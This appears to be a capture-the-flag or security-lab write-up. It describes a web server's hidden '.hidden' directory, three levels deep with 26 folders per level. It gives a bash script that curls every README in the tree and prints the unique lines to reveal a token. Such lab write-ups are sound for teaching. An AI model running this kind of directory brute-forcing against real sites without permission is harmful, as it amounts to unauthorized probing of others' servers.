Here is the results of inspecting http://$IPADDR/.hidden/
page:
- There are 3 directory levels.
- Each level consist of 26 folder.
- Each folder name started with a distinct letter.
- The directory on the same level has the same names.
- There is a
README
file inside all the dir of 3 level folders.
To find the key, we used shell-script, that brute forces all the directories inside .hidden, collect README
data inside one file, and shows only unique lines of this file.
Shell script that does the trick
#!/bin/bash
OUTPUT_FILE=brute-force-output
declare -a PATHS1=(
"amcbevgondgcrloowluziypjdh"
"bnqupesbgvhbcwqhcuynjolwkm"
"ceicqljdddshxvnvdqzzjgddht"
"doxelitrqvhegnhlhrkdgfizgj"
"eipmnwhetmpbhiuesykfhxmyhr"
"ffpbexkomzbigheuwhbhbfzzrg"
"ghouhyooppsmaizbmjhtncsvfz"
"hwlayeghtcotqdigxuigvjufqn"
"isufpcgmngmrotmrjfjonpmkxu"
"jfiombdhvlwxrkmawgoruhbarp"
"kpibbgxjqnvrrcpczovjbvijmz"
"ldtafmsxvvydthtgflzhadiozs"
"mrucagbgcenowkjrlmmugvztuh"
"ntyrhxjbtndcpjevzurlekwsxt"
"oasstobmotwnezhscjjopenjxy"
"ppjxigqiakcrmqfhotnncfqnqg"
"qcwtnvtdfslnkvqvzhjsmsghfw"
"rlnoyduccpqxkvcfiqpdikfpvx"
"sdnfntbyirzllbpctnnoruyjjc"
"trwjgrgmfnzarxiiwvwalyvanm"
"urhkbrmupxbgdnntopklxskvom"
"viphietzoechsxwqacvpsodhaq"
"whtccjokayshttvxycsvykxcfm"
"xuwrcwjjrmndczfcrmwmhvkjnh"
"yjxemfsgdlkbvvtjiylhdoaqkn"
"zzfzjvjsupgzinctxeqtzzdzll"
)
declare -a PATHS2=(
"acbnunauucfplzmaglkvqgswwn"
"bvwrujeymrvzurvywnjxzlfkwa"
"ccevyakvydrjhsvbnwvestcfeb"
"dephqnhvretuprssiccazdpwyt"
"eotxvxzbogrepmvuiplzkfjohm"
"fnkbjkxzduuctvrzpvpdsllkwm"
"gubyklkxvljikilfdqyajypgpt"
"hycgkytgbrqobqkozszhfgmven"
"igeemtxnvexvxezqwntmzjltkt"
"jzqhwxudbzrxyesccqbirteemr"
"keyczixybfxybczctwbarfcjhk"
"lacqgphmpkmzjmaojyqnasjyvj"
"mrbnakzcmpldxxsjjssyujjvbx"
"nvvgvrrnuepeduqsfwrcocoixo"
"odgxyhuvecqvvfpzvtermzwisa"
"pyvqjseoycohylldbjajacgwgx"
"qihvsavsvodnsrnwhwxsjcwscf"
"rtenpnkzuftuclrqrglitjsrgk"
"sbkitppotcdimedtxzwlrocxbm"
"ttlemtrngbjvrxotdxihcbhdzu"
"uuqwurkperbaipglabcxpwcogm"
"vsjtwjnsblouvdzmhzwwfiwimv"
"wxkyoqkiafgluzmfpgcthpainy"
"xpvwxitxurnldvlkeyedmlsson"
"ycdpkqpcolzyfwsyjfehsolqvq"
"zcgkxuyzzplsfnisngzlayvgee"
)
declare -a PATHS3=(
"ayuprpftypqspruffmkuucjccv"
"becskiwlclcuqxshqmxhicouoj"
"cqqssunxyhjgdwjoafgyzoollx"
"dupoqdxhvrbqhaqokxsiigjnph"
"emdxzqwvfkmkjvfbyxizowjlqr"
"ftzcgojutitjfpqrdadyfewfov"
"gtmgedazcchqobjyuufjkxmmam"
"hrgjwugrgpxlrwntddjeoizipk"
"iumzgolywwwsdqbunmlkagpfqu"
"juavephzegfusfrqelvumphzat"
"kbjjgbfcbchslgysntmtmcxzyr"
"lmpanswobhwcozdqixbowvbrhw"
"mfmtemmsbpftlvuuuwitbydbbt"
"nzzuqitxumdibwksdfdbczvahq"
"oehtfkmejiwsbvoqyztwllaqqb"
"pupwvwozdhgnvmzdktffjxfiqc"
"qtbemrfggdbetcjaiyvwxagqhn"
"raetkuxexbsoiywlcceelgpkdl"
"shdualhcrcmmzslakailyvnbbt"
"tojkymyisskfbmweakfvwghyqs"
"uwohzpdobnmnlwhfgmhsjnvtss"
"vpaznrumfdlwgbxuqnfmunthun"
"wqjklbcbceqvyecbsaityellly"
"xhytouigdvshzvldngdskfmkpf"
"yivtvgtfhotbwchtwottzwghaa"
"zrhmbyumtnjbgoiwkksmroifhb"
)
for p1 in "${PATHS1[@]}"
do
for p2 in "${PATHS2[@]}"
do
for p3 in "${PATHS3[@]}"
do
curl http://$IPADDR/.hidden/$p1/$p2/$p3/README 2>/dev/null >> $OUTPUT_FILE
done
done
done
echo "Token: "
sort $OUTPUT_FILE | uniq -u
Follow this page for more details about web scraping.